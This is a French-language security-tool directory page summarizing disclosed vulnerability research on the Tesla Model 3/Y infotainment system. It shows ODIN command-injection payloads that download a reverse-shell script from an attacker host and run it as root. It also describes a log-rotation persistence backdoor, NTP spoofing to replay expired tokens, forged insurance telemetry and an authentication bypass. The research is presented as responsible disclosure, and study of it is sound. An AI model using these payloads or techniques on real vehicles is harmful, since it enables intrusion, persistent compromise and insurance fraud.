Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
tesla-security-research — Recherche de vulnérabilités sur les systèmes d'infodivertissement des Tesla Model 3/Y. 6 vulnérabilités, 4 CVEs (CVE-2022-42005 à CVE-2022-42008). Shell root, accès persistant, usurpation de télémétrie d'assurance. | Kitploit
Outils/GitHubGitHub/analyticeth/tesla-security-research
Sécurité des Systèmes EmbarquésEscalade de PrivilègesMécanismes de PersistanceAnalyse des VulnérabilitésExploitationExfiltration de DonnéesTests d'IntrusionCommandement et ContrôleSécurité Matériel et IoT

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Apprentissage et Éducation
GitHubanalyticeth/tesla-security-research

tesla-security-research

Recherche de vulnérabilités sur les systèmes d'infodivertissement des Tesla Model 3/Y. 6 vulnérabilités, 4 CVEs (CVE-2022-42005 à CVE-2022-42008). Shell root, accès persistant, usurpation de télémétrie d'assurance.

Voir le dépôt
53il y a 3 moisPas encore vérifié

Recherche en sécurité Tesla

Recherche de vulnérabilités sur le système d'infodivertissement Tesla Model 3/Y (MCU Intel Atom, Linux 4.14.235), divulguée de manière responsable à Tesla via Bugcrowd.

Obtenu un accès root persistant sur une Tesla Model 3 de production via une vulnérabilité d'injection de commandes dans l'interface de diagnostic ODIN de Tesla (CVE-2022-42008). De là, découvert cinq vulnérabilités supplémentaires — dont une méthode de persistance qui survit aux mises à jour du firmware (CVE-2022-42005, CVE-2022-42006) et une méthode pour usurper la télémétrie d'assurance Safety Score qui a directement réduit les primes mensuelles de 130 $ à 83 $.

Six vulnérabilités dans ODIN, hermes et Safety Score. Quatre CVE. Récompensé via Bugcrowd et inscrit au programme SSH Security Researcher de Tesla.

Résumé des vulnérabilités

DécouverteCVEImpactStatutRécompense
Root Shell via ODINCVE-2022-42008Shell root via injection de commandesCorrigé (2021.32.10)Prime Bugcrowd
Jetons ODIN expirésCVE-2022-42007Rejeu de jetons via usurpation NTPCorrigé (2021.32.10)Prime Bugcrowd
Téléversement vers Mothership—Téléversement arbitraire de fichiers vers les serveurs TeslaMarqué N/A—
Backshell via logs + Accès DVCVE-2022-42005, CVE-2022-42006Accès persistant survivant aux mises à jour du firmwareCorrigéPrime Bugcrowd
Usurpation de télémétrie d'assurance—Safety Score usurpé réduit les primes d'assuranceAucun correctif confirmé—
Défusion ODIN—Toute tâche ODIN sans authentificationAucun correctif confirmé—

Architecture

Le système d'infodivertissement Tesla Model 3/Y (MCU Intel Atom) exécute un OS basé sur Linux avec plusieurs surfaces d'attaque identifiées lors de cette recherche :

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│                  Tesla Model 3 MCU (Intel)               │
│                                                          │
│  ┌────────────┐  ┌──────────────┐  ┌──────────────────┐  │
│  │   ODIN     │  │  QtCarServer │  │  hermes          │  │
│  │            │  │              │  │  (proxy+client)  │  │
│  │  CVE-42008 │  │  prototype_  │  │                  │  │
│  │  (cmd inj) │  │  server      │  │  Uploads to      │  │
│  │            │  │  CVE-42006   │  │  Mothership      │  │
│  │  Report 06 │  │  (data vals) │  │  [Report 03]     │  │
│  │  (is-fused │  │              │  │  [Report 05]     │  │
│  │   bypass)  │  └──────────────┘  └────────┬─────────┘  │
│  └──────┬─────┘                             │            │
│         │        ┌──────────────┐           │            │
│         │        │ svlogd       │           │            │
│         │        │ Log Rotation │           │            │
│         │        │ CVE-42005    │           │            │
│         │        │ (persistence)│           │            │
│         │        └──────────────┘           │            │
└─────────┼───────────────────────────────────┼────────────┘
          │                                   │
    ┌─────┴───────┐                   ┌───────┴──────────┐
    │  Toolbox    │                   │   Mothership     │
    │  API        │                   │   Server         │
    │             │                   │                  │
    │  CVE-42007  │                   │  File uploads    │
    │  (expired   │                   │  Telemetry data  │
    │   tokens)   │                   │                  │
    └─────────────┘                   └──────────────────┘

Obtention de Root + Persistance

Rapports complets : Root Shell via ODIN | Backshell via logs + Accès DV

L'interface de diagnostic ODIN expose une tâche appelée TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK qui accepte un paramètre MicTest-Input — une liste de chaînes passées directement à CID_EXEC pour exécution en tant que root. Tout abonné avec le niveau d'accès le plus bas de Toolbox (tbx-external) peut déclencher cette tâche en se connectant au port de diagnostic de la voiture et en envoyant une requête POST. Les chaînes d'entrée sont exécutées textuellement, donc l'attaque se fait en deux requêtes : d'abord, télécharger un script de reverse shell sur la voiture via curl :

root@kitploit:~
{
    "args": {
        "kw": {
            "MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

Puis l'exécuter :

root@kitploit:~
{
    "args": {
        "kw": {
            "MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
        },
        "name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
    },
    "command": "execute"
}

Avec un shell root établi, l'accès persistant est obtenu en détournant la configuration de rotation des logs svlogd. La commande de compression gzip standard est remplacée par un script qui ouvre un backshell sous le compte log chaque fois que les logs tournent :

root@kitploit:~
!sh /var/log/wpa_supplicant/gzip.sh -c

Le fichier de configuration est rendu immuable avec chattr +i, garantissant qu'il survive aux mises à jour du firmware. Bien que le compte log ne puisse pas utiliser la commande standard sdv pour définir des valeurs de données (dbus la rejette), le prototype_server dormant de Tesla fournit un accès websocket non restreint à toutes les valeurs de données lorsqu'il est activé via settings.conf. Un ensemble personnalisé de scripts shell (sdv, lv, send.sh) émulent un client websocket pour interagir avec ce serveur.

La boîte à outils de persistance complète est contrôlée via la boîte de saisie du code d'accès de la voiture (visible en appuyant longuement sur le modèle de voiture sur l'écran tactile), qui est surveillée par un script d'écoute qui distribue des commandes — y compris l'ouverture de backshells, la définition de valeurs de données et l'activation/désactivation des modes de service.

Résultats indépendants

Jetons ODIN expirés + Usurpation NTP (CVE-2022-42007)

Le point de terminaison de génération de jetons ODIN de Tesla accepte les tbx-tokens expirés et — de manière critique — renvoie également le tbx-token de l'utilisateur dans la réponse, permettant une fuite de jetons via le partage. Les jetons ODIN expirés sont normalement rejetés par le véhicule, mais en usurpant la source de temps NTP de la voiture via une interception basée sur ARP (ntpspoof.py), le véhicule peut être amené à accepter des jetons au-delà de leur date d'expiration. La passerelle détecte la falsification NTP (GTW_w149_rtcTimeSetInPast) mais n'agit pas sur ce signal.

Téléversement vers Mothership

En utilisant les certificats de la voiture depuis /var/lib/car_creds/, le service hermes_proxy peut être démarré sur une machine locale, fournissant un accès direct au serveur Mothership de Tesla. Le point de terminaison de sauvegarde de profil (/vehicles/${VIN}/computer_profile) accepte des téléversements de fichiers arbitraires sans validation — une seule commande curl téléverse n'importe quel fichier vers l'infrastructure de production de Tesla. Tesla a marqué cette découverte comme N/A ("fonctionne comme prévu").

Usurpation de télémétrie d'assurance

Le système Safety Score de Tesla collecte la télémétrie de conduite depuis le MCU et la téléverse vers Mothership pour le calcul des primes d'assurance. Avec un accès root, un échantillon de télémétrie avec un score parfait peut être capturé, ses valeurs d'odomètre encodées en protobuf gonflées via édition hexadécimale (en utilisant le schéma rétro-conçu à telemetry.proto), et les échantillons modifiés re-téléversés. Deux trajets fabriqués ont été acceptés par Mothership — dont un montrant environ 2 700 miles en 3,5 heures — réduisant directement les primes d'assurance mensuelles de 130 $ à 83 $. Le problème fondamental est que la télémétrie provient du MCU (accessible à l'utilisateur) plutôt que de l'unité de pilote automatique APE3 (renforcée). Tesla n'a pas émis de prime pour cette découverte.

Contournement d'authentification ODIN

Avec un accès root, le montage bind d'un faux script is-fused sur /usr/bin/is-fused et le redémarrage des services ODIN amène ODIN à croire que l'unité est en mode usine/développement. Dans cet état, toute tâche ODIN peut être exécutée sans jetons d'authentification — y compris des tâches qui pourraient désactiver l'alarme de la voiture (PROC_ICE_X_SET-DATA-VALUE), effacer le VIN (PROC_ICE_X_DEASSOCIATE-PRODUCT-ID), ou potentiellement engager des fonctions critiques pour la sécurité du véhicule.

Outils

Avertissement

Cette recherche a été menée dans le cadre d'une recherche en sécurité responsable et signalée au programme de bug bounty de Tesla via Bugcrowd. Toutes les vulnérabilités avec des CVE attribuées ont été corrigées dans les versions actuelles du firmware. Ce dépôt est publié à des fins éducatives uniquement.

À la suite de cette recherche, l'équipe a reçu des primes financières via Bugcrowd et a été inscrite au programme SSH Security Researcher de Tesla, recevant des certificats SSH signés pour un accès de recherche continu.

Références

  • CVE-2022-42008 — Shell root via ODIN
  • CVE-2022-42007 — Jetons ODIN expirés
  • CVE-2022-42006 — Accès aux valeurs de données du serveur prototype
  • CVE-2022-42005 — Shell log persistante
  • Tesla Hacking: Partie 1 — Obtenir un accès root sur une Tesla Model 3
  • Tesla Hacking: Partie 2 — Usurpation des données de télémétrie d'assurance Tesla
  • Tesla Security

Chercheurs

  • Matthew C. Pilsbury
  • Alex Harbuzenko
  • Oleg Kutkov
  • Tristan Rice

Recherche menée pour le compte de SourceHat Labs Inc.

Télécharger l’outil
OutilDescription
ntpspoof.pyUsurpation NTP basée sur ARP pour rejouer des jetons ODIN expirés (Python/scapy)
telemetry.protoSchéma protobuf rétro-conçu pour la télémétrie Safety Score de Tesla (34 champs)
listen.shÉcouteur de commandes de la boîte de code d'accès — interface de commande cachée via l'écran tactile
sdvDéfinir une valeur de données via le websocket prototype_server
lvObtenir une valeur de données via le websocket prototype_server
send.shConstruction de trames websocket pour la communication avec prototype_server